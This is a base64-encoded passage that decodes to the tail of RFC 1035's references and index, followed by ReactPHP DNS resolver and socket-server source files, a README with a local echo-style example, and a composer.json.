vbnMgZm9yCiAgICAgICAgICAgICAgICB0aGVtLgoKW1JGQy05NzRdICAgICAgIEMuIFBhcnRyaWRnZSwgIk1haWwgcm91dGluZyBhbmQgdGhlIGRvbWFpbiBzeXN0ZW0iLAogICAgICAgICAgICAgICAgUkZDLTk3NCwgQ1NORVQgQ0lDIEJCTiBMYWJzLCBKYW51YXJ5IDE5ODYuCgogICAgICAgICAgICAgICAgRGVzY3JpYmVzIHRoZSB0cmFuc2l0aW9uIGZyb20gSE9TVFMuVFhUIGJhc2VkIG1haWwKICAgICAgICAgICAgICAgIGFkZHJlc3NpbmcgdG8gdGhlIG1vcmUgcG93ZXJmdWwgTVggc3lzdGVtIHVzZWQgd2l0aCB0aGUKICAgICAgICAgICAgICAgIGRvbWFpbiBzeXN0ZW0uCgpbUkZDLTEwMDFdICAgICAgTmV0QklPUyBXb3JraW5nIEdyb3VwLCAiUHJvdG9jb2wgc3RhbmRhcmQgZm9yIGEgTmV0QklPUwogICAgICAgICAgICAgICAgc2VydmljZSBvbiBhIFRDUC9VRFAgdHJhbnNwb3J0OiBDb25jZXB0cyBhbmQgTWV0aG9kcyIsCiAgICAgICAgICAgICAgICBSRkMtMTAwMSwgTWFyY2ggMTk4Ny4KCiAgICAgICAgICAgICAgICBUaGlzIFJGQyBhbmQgUkZDLTEwMDIgYXJlIGEgcHJlbGltaW5hcnkgZGVzaWduIGZvcgogICAgICAgICAgICAgICAgTkVUQklPUyBvbiB0b3Agb2YgVENQL0lQIHdoaWNoIHByb3Bvc2VzIHRvIGJhc2UgTmV0QklPUwogICAgICAgICAgICAgICAgbmFtZSBzZXJ2aWNlIG9uIHRvcCBvZiB0aGUgRE5TLgoKW1JGQy0xMDAyXSAgICAgIE5ldEJJT1MgV29ya2luZyBHcm91cCwgIlByb3RvY29sIHN0YW5kYXJkIGZvciBhIE5ldEJJT1MKICAgICAgICAgICAgICAgIHNlcnZpY2Ugb24gYSBUQ1AvVURQIHRyYW5zcG9ydDogRGV0YWlsZWQKICAgICAgICAgICAgICAgIFNwZWNpZmljYXRpb25zIiwgUkZDLTEwMDIsIE1hcmNoIDE5ODcuCgpbUkZDLTEwMTBdICAgICAgSi4gUmV5bm9sZHMsIGFuZCBKLiBQb3N0ZWwsICJBc3NpZ25lZCBOdW1iZXJzIiwgUkZDLTEwMTAsCiAgICAgICAgICAgICAgICBVU0MvSW5mb3JtYXRpb24gU2NpZW5jZXMgSW5zdGl0dXRlLCBNYXkgMTk4Ny4KCiAgICAgICAgICAgICAgICBDb250YWlucyBzb2NrZXQgbnVtYmVycyBhbmQgbW5lbW9uaWNzIGZvciBob3N0IG5hbWVzLAogICAgICAgICAgICAgICAgb3BlcmF0aW5nIHN5c3RlbXMsIGV0Yy4KCltSRkMtMTAzMV0gICAgICBXLiBMYXplYXIsICJNSUxORVQgTmFtZSBEb21haW4gVHJhbnNpdGlvbiIsIFJGQy0xMDMxLAogICAgICAgICAgICAgICAgTm92ZW1iZXIgMTk4Ny4KCiAgICAgICAgICAgICAgICBEZXNjcmliZXMgYSBwbGFuIGZvciBjb252ZXJ0aW5nIHRoZSBNSUxORVQgdG8gdGhlIEROUy4KCltSRkMtMTAzMl0gICAgICBNLiBTdGFobCwgIkVzdGFibGlzaGluZyBhIERvbWFpbiAtIEd1aWRlbGluZXMgZm9yCiAgICAgICAgICAgICAgICBBZG1pbmlzdHJhdG9ycyIsIFJGQy0xMDMyLCBOb3ZlbWJlciAxOTg3LgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA1Ml0KDApSRkMgMTAzNSAgICAgICAgRG9tYWluIEltcGxlbWVudGF0aW9uIGFuZCBTcGVjaWZpY2F0aW9uICAgIE5vdmVtYmVyIDE5ODcKCgogICAgICAgICAgICAgICAgRGVzY3JpYmVzIHRoZSByZWdpc3RyYXRpb24gcG9saWNpZXMgdXNlZCBieSB0aGUgTklDIHRvCiAgICAgICAgICAgICAgICBhZG1pbmlzdGVyIHRoZSB0b3AgbGV2ZWwgZG9tYWlucyBhbmQgZGVsZWdhdGUgc3Viem9uZXMuCgpbUkZDLTEwMzNdICAgICAgTS4gTG90dG9yLCAiRG9tYWluIEFkbWluaXN0cmF0b3JzIE9wZXJhdGlvbnMgR3VpZGUiLAogICAgICAgICAgICAgICAgUkZDLTEwMzMsIE5vdmVtYmVyIDE5ODcuCgogICAgICAgICAgICAgICAgQSBjb29rYm9vayBmb3IgZG9tYWluIGFkbWluaXN0cmF0b3JzLgoKW1NvbG9tb24gODJdICAgIE0uIFNvbG9tb24sIEwuIExhbmR3ZWJlciwgYW5kIEQuIE5ldWhlbmdlbiwgIlRoZSBDU05FVAogICAgICAgICAgICAgICAgTmFtZSBTZXJ2ZXIiLCBDb21wdXRlciBOZXR3b3Jrcywgdm9sIDYsIG5yIDMsIEp1bHkgMTk4Mi4KCiAgICAgICAgICAgICAgICBEZXNjcmliZXMgYSBuYW1lIHNlcnZpY2UgZm9yIENTTkVUIHdoaWNoIGlzIGluZGVwZW5kZW50CiAgICAgICAgICAgICAgICBmcm9tIHRoZSBETlMgYW5kIEROUyB1c2UgaW4gdGhlIENTTkVULgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDUzXQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCkluZGV4CgogICAgICAgICAgKiAgIDEzCgogICAgICAgICAgOyAgIDMzLCAzNQoKICAgICAgICAgIDxjaGFyYWN0ZXItc3RyaW5nPiAgIDM1CiAgICAgICAgICA8ZG9tYWluLW5hbWU+ICAgMzQKCiAgICAgICAgICBAICAgMzUKCiAgICAgICAgICBcICAgMzUKCiAgICAgICAgICBBICAgMTIKCiAgICAgICAgICBCeXRlIG9yZGVyICAgOAoKICAgICAgICAgIENIICAgMTMKICAgICAgICAgIENoYXJhY3RlciBjYXNlICAgOQogICAgICAgICAgQ0xBU1MgICAxMQogICAgICAgICAgQ05BTUUgICAxMgogICAgICAgICAgQ29tcGxldGlvbiAgIDQyCiAgICAgICAgICBDUyAgIDEzCgogICAgICAgICAgSGVzaW9kICAgMTMKICAgICAgICAgIEhJTkZPICAgMTIKICAgICAgICAgIEhTICAgMTMKCiAgICAgICAgICBJTiAgIDEzCiAgICAgICAgICBJTi1BRERSLkFSUEEgZG9tYWluICAgMjIKICAgICAgICAgIEludmVyc2UgcXVlcmllcyAgIDQwCgogICAgICAgICAgTWFpbGJveCBuYW1lcyAgIDQ3CiAgICAgICAgICBNQiAgIDEyCiAgICAgICAgICBNRCAgIDEyCiAgICAgICAgICBNRiAgIDEyCiAgICAgICAgICBNRyAgIDEyCiAgICAgICAgICBNSU5GTyAgIDEyCiAgICAgICAgICBNSU5JTVVNICAgMjAKICAgICAgICAgIE1SICAgMTIKICAgICAgICAgIE1YICAgMTIKCiAgICAgICAgICBOUyAgIDEyCiAgICAgICAgICBOVUxMICAgMTIKCiAgICAgICAgICBQb3J0IG51bWJlcnMgICAzMgogICAgICAgICAgUHJpbWFyeSBzZXJ2ZXIgICA1CiAgICAgICAgICBQVFIgICAxMiwgMTgKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNTRdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKICAgICAgICAgIFFDTEFTUyAgIDEzCiAgICAgICAgICBRVFlQRSAgIDEyCgogICAgICAgICAgUkRBVEEgICAxMgogICAgICAgICAgUkRMRU5HVEggIDExCgogICAgICAgICAgU2Vjb25kYXJ5IHNlcnZlciAgIDUKICAgICAgICAgIFNPQSAgIDEyCiAgICAgICAgICBTdHViIHJlc29sdmVycyAgIDcKCiAgICAgICAgICBUQ1AgICAzMgogICAgICAgICAgVFhUICAgMTIKICAgICAgICAgIFRZUEUgICAxMQoKICAgICAgICAgIFVEUCAgIDMyCgogICAgICAgICAgV0tTICAgMTIKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDU1XQoMCjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRG5zXFJlc29sdmVyOwoKdXNlIFJlYWN0XERuc1xRdWVyeVxFeGVjdXRvckludGVyZmFjZTsKdXNlIFJlYWN0XERuc1xRdWVyeVxRdWVyeTsKdXNlIFJlYWN0XERuc1xSZWNvcmROb3RGb3VuZEV4Y2VwdGlvbjsKdXNlIFJlYWN0XERuc1xNb2RlbFxNZXNzYWdlOwoKY2xhc3MgUmVzb2x2ZXIKewogICAgcHJpdmF0ZSAkbmFtZXNlcnZlcjsKICAgIHByaXZhdGUgJGV4ZWN1dG9yOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkbmFtZXNlcnZlciwgRXhlY3V0b3JJbnRlcmZhY2UgJGV4ZWN1dG9yKQogICAgewogICAgICAgICR0aGlzLT5uYW1lc2VydmVyID0gJG5hbWVzZXJ2ZXI7CiAgICAgICAgJHRoaXMtPmV4ZWN1dG9yID0gJGV4ZWN1dG9yOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZXNvbHZlKCRkb21haW4pCiAgICB7CiAgICAgICAgJHRoYXQgPSAkdGhpczsKCiAgICAgICAgJHF1ZXJ5ID0gbmV3IFF1ZXJ5KCRkb21haW4sIE1lc3NhZ2U6OlRZUEVfQSwgTWVzc2FnZTo6Q0xBU1NfSU4sIHRpbWUoKSk7CgogICAgICAgIHJldHVybiAkdGhpcy0+ZXhlY3V0b3IKICAgICAgICAgICAgLT5xdWVyeSgkdGhpcy0+bmFtZXNlcnZlciwgJHF1ZXJ5KQogICAgICAgICAgICAtPnRoZW4oZnVuY3Rpb24gKE1lc3NhZ2UgJHJlc3BvbnNlKSB1c2UgKCR0aGF0KSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoYXQtPmV4dHJhY3RBZGRyZXNzKCRyZXNwb25zZSwgTWVzc2FnZTo6VFlQRV9BKTsKICAgICAgICAgICAgfSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGV4dHJhY3RBZGRyZXNzKE1lc3NhZ2UgJHJlc3BvbnNlLCAkdHlwZSkKICAgIHsKICAgICAgICAkYW5zd2VyID0gJHRoaXMtPnBpY2tSYW5kb21BbnN3ZXJPZlR5cGUoJHJlc3BvbnNlLCAkdHlwZSk7CiAgICAgICAgJGFkZHJlc3MgPSAkYW5zd2VyLT5kYXRhOwogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcGlja1JhbmRvbUFuc3dlck9mVHlwZShNZXNzYWdlICRyZXNwb25zZSwgJHR5cGUpCiAgICB7CiAgICAgICAgLy8gVE9ETzogZmlsdGVyIGJ5IG5hbWUgdG8gbWFrZSBzdXJlIGRvbWFpbiBtYXRjaGVzCiAgICAgICAgLy8gVE9ETzogcmVzb2x2ZSBDTkFNRSBhbGlhc2VzCgogICAgICAgICRmaWx0ZXJlZEFuc3dlcnMgPSBhcnJheV9maWx0ZXIoJHJlc3BvbnNlLT5hbnN3ZXJzLCBmdW5jdGlvbiAoJGFuc3dlcikgdXNlICgkdHlwZSkgewogICAgICAgICAgICByZXR1cm4gJHR5cGUgPT09ICRhbnN3ZXItPnR5cGU7CiAgICAgICAgfSk7CgogICAgICAgIGlmICgwID09PSBjb3VudCgkZmlsdGVyZWRBbnN3ZXJzKSkgewogICAgICAgICAgICAkbWVzc2FnZSA9IHNwcmludGYoJ0ROUyBSZXF1ZXN0IGRpZCBub3QgcmV0dXJuIHZhbGlkIGFuc3dlci4gUmVjZWl2ZWQgYW5zd2VyczogJXMnLCBqc29uX2VuY29kZSgkcmVzcG9uc2UtPmFuc3dlcnMpKTsKICAgICAgICAgICAgdGhyb3cgbmV3IFJlY29yZE5vdEZvdW5kRXhjZXB0aW9uKCRtZXNzYWdlKTsKICAgICAgICB9CgogICAgICAgICRhbnN3ZXIgPSAkZmlsdGVyZWRBbnN3ZXJzW2FycmF5X3JhbmQoJGZpbHRlcmVkQW5zd2VycyldOwoKICAgICAgICByZXR1cm4gJGFuc3dlcjsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XERuc1xSZXNvbHZlcjsKCnVzZSBSZWFjdFxDYWNoZVxBcnJheUNhY2hlOwp1c2UgUmVhY3RcRG5zXFF1ZXJ5XEV4ZWN1dG9yOwp1c2UgUmVhY3RcRG5zXFF1ZXJ5XENhY2hlZEV4ZWN1dG9yOwp1c2UgUmVhY3RcRG5zXFF1ZXJ5XFJlY29yZENhY2hlOwp1c2UgUmVhY3RcRG5zXFByb3RvY29sXFBhcnNlcjsKdXNlIFJlYWN0XERuc1xQcm90b2NvbFxCaW5hcnlEdW1wZXI7CnVzZSBSZWFjdFxFdmVudExvb3BcTG9vcEludGVyZmFjZTsKdXNlIFJlYWN0XERuc1xRdWVyeVxSZXRyeUV4ZWN1dG9yOwoKY2xhc3MgRmFjdG9yeQp7CiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCRuYW1lc2VydmVyLCBMb29wSW50ZXJmYWNlICRsb29wKQogICAgewogICAgICAgICRuYW1lc2VydmVyID0gJHRoaXMtPmFkZFBvcnRUb1NlcnZlcklmTWlzc2luZygkbmFtZXNlcnZlcik7CiAgICAgICAgJGV4ZWN1dG9yID0gJHRoaXMtPmNyZWF0ZVJldHJ5RXhlY3V0b3IoJGxvb3ApOwoKICAgICAgICByZXR1cm4gbmV3IFJlc29sdmVyKCRuYW1lc2VydmVyLCAkZXhlY3V0b3IpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGVDYWNoZWQoJG5hbWVzZXJ2ZXIsIExvb3BJbnRlcmZhY2UgJGxvb3ApCiAgICB7CiAgICAgICAgJG5hbWVzZXJ2ZXIgPSAkdGhpcy0+YWRkUG9ydFRvU2VydmVySWZNaXNzaW5nKCRuYW1lc2VydmVyKTsKICAgICAgICAkZXhlY3V0b3IgPSAkdGhpcy0+Y3JlYXRlQ2FjaGVkRXhlY3V0b3IoJGxvb3ApOwoKICAgICAgICByZXR1cm4gbmV3IFJlc29sdmVyKCRuYW1lc2VydmVyLCAkZXhlY3V0b3IpOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBjcmVhdGVFeGVjdXRvcihMb29wSW50ZXJmYWNlICRsb29wKQogICAgewogICAgICAgIHJldHVybiBuZXcgRXhlY3V0b3IoJGxvb3AsIG5ldyBQYXJzZXIoKSwgbmV3IEJpbmFyeUR1bXBlcigpKTsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gY3JlYXRlUmV0cnlFeGVjdXRvcihMb29wSW50ZXJmYWNlICRsb29wKQogICAgewogICAgICAgIHJldHVybiBuZXcgUmV0cnlFeGVjdXRvcigkdGhpcy0+Y3JlYXRlRXhlY3V0b3IoJGxvb3ApKTsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gY3JlYXRlQ2FjaGVkRXhlY3V0b3IoTG9vcEludGVyZmFjZSAkbG9vcCkKICAgIHsKICAgICAgICByZXR1cm4gbmV3IENhY2hlZEV4ZWN1dG9yKCR0aGlzLT5jcmVhdGVSZXRyeUV4ZWN1dG9yKCRsb29wKSwgbmV3IFJlY29yZENhY2hlKG5ldyBBcnJheUNhY2hlKCkpKTsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkUG9ydFRvU2VydmVySWZNaXNzaW5nKCRuYW1lc2VydmVyKQogICAgewogICAgICAgIHJldHVybiBmYWxzZSA9PT0gc3RycG9zKCRuYW1lc2VydmVyLCAnOicpID8gIiRuYW1lc2VydmVyOjUzIiA6ICRuYW1lc2VydmVyOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRG5zOwoKY2xhc3MgQmFkU2VydmVyRXhjZXB0aW9uIGV4dGVuZHMgXEV4Y2VwdGlvbgp7Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxTb2NrZXQ7CgpjbGFzcyBDb25uZWN0aW9uRXhjZXB0aW9uIGV4dGVuZHMgXEVycm9yRXhjZXB0aW9uCnsKfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFNvY2tldDsKCnVzZSBFdmVuZW1lbnRcRXZlbnRFbWl0dGVyOwp1c2UgUmVhY3RcRXZlbnRMb29wXExvb3BJbnRlcmZhY2U7CgovKiogQGV2ZW50IGNvbm5lY3Rpb24gKi8KY2xhc3MgU2VydmVyIGV4dGVuZHMgRXZlbnRFbWl0dGVyIGltcGxlbWVudHMgU2VydmVySW50ZXJmYWNlCnsKICAgIHB1YmxpYyAkbWFzdGVyOwogICAgcHJpdmF0ZSAkbG9vcDsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoTG9vcEludGVyZmFjZSAkbG9vcCkKICAgIHsKICAgICAgICAkdGhpcy0+bG9vcCA9ICRsb29wOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBsaXN0ZW4oJHBvcnQsICRob3N0ID0gJzEyNy4wLjAuMScpCiAgICB7CiAgICAgICAgJHRoaXMtPm1hc3RlciA9IEBzdHJlYW1fc29ja2V0X3NlcnZlcigidGNwOi8vJGhvc3Q6JHBvcnQiLCAkZXJybm8sICRlcnJzdHIpOwogICAgICAgIGlmIChmYWxzZSA9PT0gJHRoaXMtPm1hc3RlcikgewogICAgICAgICAgICAkbWVzc2FnZSA9ICJDb3VsZCBub3QgYmluZCB0byB0Y3A6Ly8kaG9zdDokcG9ydDogJGVycnN0ciI7CiAgICAgICAgICAgIHRocm93IG5ldyBDb25uZWN0aW9uRXhjZXB0aW9uKCRtZXNzYWdlLCAkZXJybm8pOwogICAgICAgIH0KICAgICAgICBzdHJlYW1fc2V0X2Jsb2NraW5nKCR0aGlzLT5tYXN0ZXIsIDApOwoKICAgICAgICAkdGhhdCA9ICR0aGlzOwoKICAgICAgICAkdGhpcy0+bG9vcC0+YWRkUmVhZFN0cmVhbSgkdGhpcy0+bWFzdGVyLCBmdW5jdGlvbiAoJG1hc3RlcikgdXNlICgkdGhhdCkgewogICAgICAgICAgICAkbmV3U29ja2V0ID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJG1hc3Rlcik7CiAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gJG5ld1NvY2tldCkgewogICAgICAgICAgICAgICAgJHRoYXQtPmVtaXQoJ2Vycm9yJywgYXJyYXkobmV3IFxSdW50aW1lRXhjZXB0aW9uKCdFcnJvciBhY2NlcHRpbmcgbmV3IGNvbm5lY3Rpb24nKSkpOwoKICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkdGhhdC0+aGFuZGxlQ29ubmVjdGlvbigkbmV3U29ja2V0KTsKICAgICAgICB9KTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFuZGxlQ29ubmVjdGlvbigkc29ja2V0KQogICAgewogICAgICAgIHN0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2tldCwgMCk7CgogICAgICAgICRjbGllbnQgPSAkdGhpcy0+Y3JlYXRlQ29ubmVjdGlvbigkc29ja2V0KTsKCiAgICAgICAgJHRoaXMtPmVtaXQoJ2Nvbm5lY3Rpb24nLCBhcnJheSgkY2xpZW50KSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGdldFBvcnQoKQogICAgewogICAgICAgICRuYW1lID0gc3RyZWFtX3NvY2tldF9nZXRfbmFtZSgkdGhpcy0+bWFzdGVyLCBmYWxzZSk7CgogICAgICAgIHJldHVybiAoaW50KSBzdWJzdHIoc3RycmNocigkbmFtZSwgJzonKSwgMSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHNodXRkb3duKCkKICAgIHsKICAgICAgICAkdGhpcy0+bG9vcC0+cmVtb3ZlU3RyZWFtKCR0aGlzLT5tYXN0ZXIpOwogICAgICAgIGZjbG9zZSgkdGhpcy0+bWFzdGVyKTsKICAgICAgICAkdGhpcy0+cmVtb3ZlQWxsTGlzdGVuZXJzKCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZUNvbm5lY3Rpb24oJHNvY2tldCkKICAgIHsKICAgICAgICByZXR1cm4gbmV3IENvbm5lY3Rpb24oJHNvY2tldCwgJHRoaXMtPmxvb3ApOwogICAgfQp9CiMgU29ja2V0IENvbXBvbmVudAoKTGlicmFyeSBmb3IgYnVpbGRpbmcgYW4gZXZlbnRlZCBzb2NrZXQgc2VydmVyLgoKVGhlIHNvY2tldCBjb21wb25lbnQgcHJvdmlkZXMgYSBtb3JlIHVzYWJsZSBpbnRlcmZhY2UgZm9yIGEgc29ja2V0LWxheWVyCnNlcnZlciBvciBjbGllbnQgYmFzZWQgb24gdGhlIGBFdmVudExvb3BgIGFuZCBgU3RyZWFtYCBjb21wb25lbnRzLgoKIyMgU2VydmVyCgpUaGUgc2VydmVyIGNhbiBsaXN0ZW4gb24gYSBwb3J0IGFuZCB3aWxsIGVtaXQgYSBgY29ubmVjdGlvbmAgZXZlbnQgd2hlbmV2ZXIgYQpjbGllbnQgY29ubmVjdHMuCgojIyBDb25uZWN0aW9uCgpUaGUgY29ubmVjdGlvbiBpcyBhIHJlYWRhYmxlIGFuZCB3cml0YWJsZSBzdHJlYW0uIEl0IGNhbiBiZSB1c2VkIGluIGEgc2VydmVyCm9yIGluIGEgY2xpZW50IGNvbnRleHQuCgojIyBVc2FnZQoKSGVyZSBpcyBhIHNlcnZlciB0aGF0IGNsb3NlcyB0aGUgY29ubmVjdGlvbiBpZiB5b3Ugc2VuZCBpdCBhbnl0aGluZy4KCiAgICAkbG9vcCA9IFJlYWN0XEV2ZW50TG9vcFxGYWN0b3J5OjpjcmVhdGUoKTsKCiAgICAkc29ja2V0ID0gbmV3IFJlYWN0XFNvY2tldFxTZXJ2ZXIoJGxvb3ApOwogICAgJHNvY2tldC0+b24oJ2Nvbm5lY3Rpb24nLCBmdW5jdGlvbiAoJGNvbm4pIHsKICAgICAgICAkY29ubi0+d3JpdGUoIkhlbGxvIHRoZXJlIVxuIik7CiAgICAgICAgJGNvbm4tPndyaXRlKCJXZWxjb21lIHRvIHRoaXMgYW1hemluZyBzZXJ2ZXIhXG4iKTsKICAgICAgICAkY29ubi0+d3JpdGUoIkhlcmUncyBhIHRpcDogZG9uJ3Qgc2F5IGFueXRoaW5nLlxuIik7CgogICAgICAgICRjb25uLT5vbignZGF0YScsIGZ1bmN0aW9uICgkZGF0YSkgdXNlICgkY29ubikgewogICAgICAgICAgICAkY29ubi0+Y2xvc2UoKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgJHNvY2tldC0+bGlzdGVuKDEzMzcpOwoKICAgICRsb29wLT5ydW4oKTsKCkhlcmUncyBhIGNsaWVudCB0aGF0IG91dHB1dHMgdGhlIG91dHB1dCBvZiBzYWlkIHNlcnZlciBhbmQgdGhlbiBhdHRlbXB0cyB0bwpzZW5kIGl0IGEgc3RyaW5nLgoKICAgICRsb29wID0gUmVhY3RcRXZlbnRMb29wXEZhY3Rvcnk6OmNyZWF0ZSgpOwoKICAgICRjbGllbnQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgndGNwOi8vMTI3LjAuMC4xOjEzMzcnKTsKICAgICRjb25uID0gbmV3IFJlYWN0XFNvY2tldFxDb25uZWN0aW9uKCRjbGllbnQsICRsb29wKTsKICAgICRjb25uLT5waXBlKG5ldyBSZWFjdFxTdHJlYW1cU3RyZWFtKFNURE9VVCwgJGxvb3ApKTsKICAgICRjb25uLT53cml0ZSgiSGVsbG8gV29ybGQhXG4iKTsKCiAgICAkbG9vcC0+cnVuKCk7CnsKICAgICJuYW1lIjogInJlYWN0L3NvY2tldCIsCiAgICAiZGVzY3JpcHRpb24iOiAiTGlicmFyeSBmb3IgYnVpbGRpbmcgYW4gZXZlbnRlZCBzb2NrZXQgc2VydmVyLiIsCiAgICAia2V5d29yZHMiOiBbInNvY2tldCJdLAogICAgImxpY2Vuc2UiOiAiTUlUIiwKICAgICJyZXF1aXJlIjogewogICAgICAgICJwaHAiOiAiPj01LjMuMyIsCiAgICAgICAgImV2ZW5lbWVudC9ldmVuZW1lbnQiOiAiMS4wLioiLAogICAgICAgICJyZWFjdC9ldmVudC1sb29wIjogIjAuMy4qIiwKICAgICAgICAicmVhY3Qvc3RyZWFtIjogIjAuMy4qIgogICAgfSwKICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAicHNyLTAiOiB7ICJSZWFjdFxcU29ja2V0IjogIiIgfQogICAgfSwKICAgICJ0YXJnZXQtZGlyIjogIlJlYWN0L1NvY2tldCIsCiAgICAiZXh0cmEiOiB7CiAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMC4zLWRldiIKICAgICAgICB9CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxTb2NrZXQ7Cgp1c2UgRXZlbmVtZW50XEV2ZW50RW1pdHRlcjsKdXNlIFJlYWN0XEV2ZW50TG9vcFxMb29wSW50ZXJmYWNlOwp1c2UgUmVhY3RcU3RyZWFtXFdyaXRhYmxlU3RyZWFtSW50ZXJmYWNlOwp1c2UgUmVhY3RcU3RyZWFtXEJ1ZmZlcjsKdXNlIFJlYWN0XFN0cmVhbVxTdHJlYW07CnVzZSBSZWFjdFxTdHJlYW1cVXRpbDsKCmNsYXNzIENvbm5lY3Rpb24gZXh0ZW5kcyBTdHJlYW0gaW1wbGVtZW50cyBDb25uZWN0aW9uSW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBoYW5kbGVEYXRhKCRzdHJlYW0pCiAgICB7CiAgICAgICAgJGRhdGEgPSBzdHJlYW1fc29ja2V0X3JlY3Zmcm9tKCRzdHJlYW0sICR0aGlzLT5idWZmZXJTaXplKTsKICAgICAgICBpZiAoJycgPT09ICRkYXRhIHx8IGZhbHNlID09PSAkZGF0YSkgewogICAgICAgICAgICAkdGhpcy0+ZW5kKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmVtaXQoJ2RhdGEnLCBhcnJheSgkZGF0YSwgJHRoaXMpKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGhhbmRsZUNsb3NlKCkKICAgIHsKICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnN0cmVhbSkpIHsKICAgICAgICAgICAgc3RyZWFtX3NvY2tldF9zaHV0ZG93bigkdGhpcy0+c3RyZWFtLCBTVFJFQU1fU0hVVF9SRFdSKTsKICAgICAgICAgICAgZmNsb3NlKCR0aGlzLT5zdHJlYW0pOwogICAgICAgIH0KICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVtb3RlQWRkcmVzcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5wYXJzZUFkZHJlc3Moc3RyZWFtX3NvY2tldF9nZXRfbmFtZSgkdGhpcy0+c3RyZWFtLCB0cnVlKSk7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBwYXJzZUFkZHJlc3MoJGFkZHJlc3MpCiAgICB7CiAgICAgICAgcmV0dXJuIHRyaW0oc3Vic3RyKCRhZGRyZXNzLCAwLCBzdHJycG9zKCRhZGRyZXNzLCAnOicpKSwgJ1tdJyk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxTb2NrZXQ7Cgp1c2UgRXZlbmVtZW50XEV2ZW50RW1pdHRlckludGVyZmFjZTsKdXNlIFJlYWN0XFN0cmVhbVxSZWFkYWJsZVN0cmVhbUludGVyZmFjZTsKdXNlIFJlYWN0XFN0cmVhbVxXcml0YWJsZVN0cmVhbUludGVyZmFjZTsKCmludGVyZmFjZSBDb25uZWN0aW9uSW50ZXJmYWNlIGV4dGVuZHMgUmVhZGFibGVTdHJlYW1JbnRlcmZhY2UsIFdyaXRhYmxlU3RyZWFtSW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRSZW1vdGVBZGRyZXNzKCk7Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxTb2NrZXQ7Cgp1c2UgRXZlbmVtZW50XEV2ZW50RW1pdHRlckludGVyZmFjZTsKCi8qKiBAZXZlbnQgY29ubmVjdGlvbiAqLwppbnRlcmZhY2UgU2VydmVySW50ZXJmYWNlIGV4dGVuZHMgRXZlbnRFbWl0dGVySW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBsaXN0ZW4oJHBvcnQsICRob3N0ID0gJzEyNy4wLjAuMScpOwogICAgcHVibGljIGZ1bmN0aW9uIGdldFBvcnQoKTsKICAgIHB1YmxpYyBmdW5jdGlvbiBzaHV0ZG93bigpOwp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcU29ja2V0Q2xpZW50OwoKY2xhc3